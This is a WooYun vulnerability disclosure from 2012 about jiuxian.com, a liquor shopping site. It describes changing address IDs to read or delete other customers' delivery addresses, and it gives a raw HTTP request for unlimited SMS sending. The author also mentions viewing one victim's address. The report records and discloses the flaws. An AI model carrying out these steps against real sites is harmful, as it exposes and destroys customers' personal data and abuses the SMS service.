当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-012054

漏洞标题:酒仙网可随意操作他人信息

相关厂商:酒仙网

漏洞作者: popok

提交时间:2012-09-11 22:13

修复时间:2012-10-26 22:13

公开时间:2012-10-26 22:13

漏洞类型:未授权访问/权限绕过

危害等级:低

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-09-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-10-26: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

看详细说明

详细说明:

1、获取任意人的收货地址
随便下一个订单,选择地址时F12审核元素:


修改其中的addr_id,然后提交订单,接着去我的订单里就能看到对应的ID的具体地址


随便试了一个就是公务员,真好啊
2、越权删除他人地址
类似问题1,删除地址get http://m.jiuxian.com/address/remove/279129 修改其中的id即可删除别人保存的地址
3、短信无限发送

POST /topic_wz.php?act=sendCode&mobile=180******** HTTP/1.1
Host: www.jiuxian.com
Connection: keep-alive
Content-Length: 0
Origin: http://www.jiuxian.com
X-Requested-With: XMLHttpRequest
User-Agent: SB牌浏览器
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://www.jiuxian.com/topic/3znq/hyzc/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: ECS_ID=8e14107cf45a3e6071c14ef6e62372c947d2f1d7; ******************


漏洞证明:

详细说明里有了,随便看了下,暂时找到这几个,应该还有不少问题。
客户信息要注意保管,那些做酒类营销的可喜欢这种客户地址了

修复方案:

版权声明:转载请注明来源 popok@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论